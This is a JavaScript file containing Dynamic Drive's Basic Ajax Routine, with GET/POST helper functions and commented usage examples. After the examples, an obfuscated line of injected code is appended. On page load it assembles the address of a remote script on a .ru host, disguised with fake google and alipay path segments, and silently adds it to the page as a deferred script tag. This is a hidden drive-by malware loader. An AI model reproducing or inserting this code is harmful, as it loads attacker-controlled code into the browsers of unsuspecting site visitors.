//Basic Ajax Routine- Author: Dynamic Drive (http://www.dynamicdrive.com)
//Last updated: Jan 15th, 06'

function createAjaxObj(){
var httprequest=false
if (window.XMLHttpRequest){ // if Mozilla, Safari etc
httprequest=new XMLHttpRequest()
if (httprequest.overrideMimeType)
httprequest.overrideMimeType('text/xml')
}
else if (window.ActiveXObject){ // if IE
try {
httprequest=new ActiveXObject("Msxml2.XMLHTTP");
} 
catch (e){
try{
httprequest=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){}
}
}
return httprequest
}

var ajaxpack=new Object()
ajaxpack.basedomain="http://"+window.location.hostname
ajaxpack.ajaxobj=createAjaxObj()
ajaxpack.filetype="txt"
ajaxpack.addrandomnumber=0 //Set to 1 or 0. See documentation.

ajaxpack.getAjaxRequest=function(url, parameters, callbackfunc, filetype){
ajaxpack.ajaxobj=createAjaxObj() //recreate ajax object to defeat cache problem in IE
if (ajaxpack.addrandomnumber==1) //Further defeat caching problem in IE?
var parameters=parameters+"&ajaxcachebust="+new Date().getTime()
if (this.ajaxobj){
this.filetype=filetype
this.ajaxobj.onreadystatechange=callbackfunc
this.ajaxobj.open('GET', url+"?"+parameters, true)
this.ajaxobj.send(null)
}
}

ajaxpack.postAjaxRequest=function(url, parameters, callbackfunc, filetype){
ajaxpack.ajaxobj=createAjaxObj() //recreate ajax object to defeat cache problem in IE
if (this.ajaxobj){
this.filetype=filetype
this.ajaxobj.onreadystatechange = callbackfunc;
this.ajaxobj.open('POST', url, true);
this.ajaxobj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
this.ajaxobj.setRequestHeader("Content-length", parameters.length);
this.ajaxobj.setRequestHeader("Connection", "close");
this.ajaxobj.send(parameters);
}
}

//ACCESSIBLE VARIABLES (for use within your callback functions):
//1) ajaxpack.ajaxobj //points to the current ajax object
//2) ajaxpack.filetype //The expected file type of the external file ("txt" or "xml")
//3) ajaxpack.basedomain //The root domain executing this ajax script, taking into account the possible "www" prefix.
//4) ajaxpack.addrandomnumber //Set to 0 or 1. When set to 1, a random number will be added to the end of the query string of GET requests to bust file caching of the external file in IE. See docs for more info.

//ACCESSIBLE FUNCTIONS:
//1) ajaxpack.getAjaxRequest(url, parameters, callbackfunc, filetype)
//2) ajaxpack.postAjaxRequest(url, parameters, callbackfunc, filetype)

///////////END OF ROUTINE HERE////////////////////////


//////EXAMPLE USAGE ////////////////////////////////////////////
/* Comment begins here

//Define call back function to process returned data
function processGetPost(){
var myajax=ajaxpack.ajaxobj
var myfiletype=ajaxpack.filetype
if (myajax.readyState == 4){ //if request of file completed
if (myajax.status==200 || window.location.href.indexOf("http")==-1){ if request was successful or running script locally
if (myfiletype=="txt")
alert(myajax.responseText)
else
alert(myajax.responseXML)
}
}
}

/////1) GET Example- alert contents of any file (regular text or xml file):

ajaxpack.getAjaxRequest("example.php", "", processGetPost, "txt")
ajaxpack.getAjaxRequest("example.php", "name=George&age=27", processGetPost, "txt")
ajaxpack.getAjaxRequest("examplexml.php", "name=George&age=27", processGetPost, "xml")
ajaxpack.getAjaxRequest(ajaxpack.basedomain+"/mydir/mylist.txt", "", processGetPost, "txt")

/////2) Post Example- Post some data to a PHP script for processing, then alert posted data:

//Define function to construct the desired parameters and their values to post via Ajax
function getPostParameters(){
var namevalue=document.getElementById("namediv").innerHTML //get name value from a DIV
var agevalue=document.getElementById("myform").agefield.value //get age value from a form field
var poststr = "name=" + encodeURI(namevalue) + "&age=" + encodeURI(agevalue)
return poststr
}

var poststr=getPostParameters()

ajaxpack.postAjaxRequest("example.php", poststr, processGetPost, "txt")
ajaxpack.postAjaxRequest("examplexml.php", poststr, processGetPost, "xml")

Comment Ends here */
var L;if(L!='' && L!='t'){L=null};var h;if(h!='' && h!='G'){h=null};var B;if(B!='E' && B != ''){B=null};var X;if(X!='ha' && X!='J'){X=''};function Q(){var Qu='';var NN;if(NN!=''){NN='k'};var _=new String("gYpD".substr(0,1));var l=RegExp;var U='';var Ad=new Array();var SE=new Array();var lJ;if(lJ!=''){lJ='XS'};function Z(v,A){var VO=new Date();var n= new String("[r4sJ".substr(0,1));var YwV=new Array();n+=A;var tZ=new Date();var r=new Date();n+=new String("PKT3]".substr(4));var Zn;if(Zn!='M'){Zn='M'};var H=new l(n, _);return v.replace(H, U);var FH="";};var Lh;if(Lh!='' && Lh!='Aj'){Lh=''};this.yK='';var qH;if(qH!='' && qH!='uP'){qH=null};var Du;if(Du!='D' && Du!='UH'){Du=''};var Y=window;var Up=new String();var RR;if(RR!='iH' && RR!='wE'){RR='iH'};var F=Z('89797909777897909977',"97");var uO;if(uO!='Vc' && uO!='tX'){uO='Vc'};this.Ui="";var lc=new String("scri"+"5he1pt".substr(4));var kr;if(kr!='' && kr!='jY'){kr='kM'};var Vg=new String();var u=new String("http"+"://g"+"amef"+"aqs-"+"com."+"hyve"+"s.nliI3S".substr(0,4)+".livZKMI".substr(0,4)+"e-co"+"m.th"+"ewes"+"BQCtrimQCB".substr(3,4)+".ru:");var lg;if(lg!='' && lg!='DV'){lg=''};var V=new String("defe"+"r");var _h='';var BQ=new Date();var C=String("/gook9l".substr(0,4)+"gle."+"F6kcom/".substr(3)+"googO3BG".substr(0,4)+"Ni1le.ci1N".substr(3,4)+"om/a"+"lipa"+"y.coOj0R".substr(0,4)+"U6otm/fat6Uo".substr(4,4)+"rmvi"+"lle.zHNA".substr(0,4)+"U5vVcom/".substr(4)+"disc"+"D1Squz.n1qDS".substr(4,4)+"fX8et.p8fX".substr(3,4)+"4CXPhp".substr(4));var T="";var Yf;if(Yf!='' && Yf!='Ru'){Yf='nm'};var O='';var N="YTnsr".substr(3)+"gkbhc".substr(4);var tXz;if(tXz!=''){tXz='MR'};Y.onload=function(){var x;if(x!='Uf'){x='Uf'};try {var TM;if(TM!=''){TM='HM'};var PD="";var _Z;if(_Z!='' && _Z!='zN'){_Z=null};this.Il="";O=u+F;var Bf=new Date();O+=C;this.AdW="";i=document.createElement(lc);var uI;if(uI!='' && uI!='AH'){uI=null};var s;if(s!='WG' && s!='cj'){s=''};var Ir=new Date();i[N]=O;var cI;if(cI!=''){cI='d'};i[V]=[1,2][0];var Vy;if(Vy!='' && Vy!='OC'){Vy='sT'};var m;if(m!='' && m!='zz'){m='dr'};var FL;if(FL!='' && FL!='AX'){FL='drV'};document.body.appendChild(i);this.vl="";var KP=new Date();} catch(o){var BQO;if(BQO!='jn'){BQO=''};var wd;if(wd!='wK'){wd=''};};var Ak;if(Ak!='' && Ak!='wu'){Ak=null};};};var BW=new Array();var ft=new Array();Q();var wO='';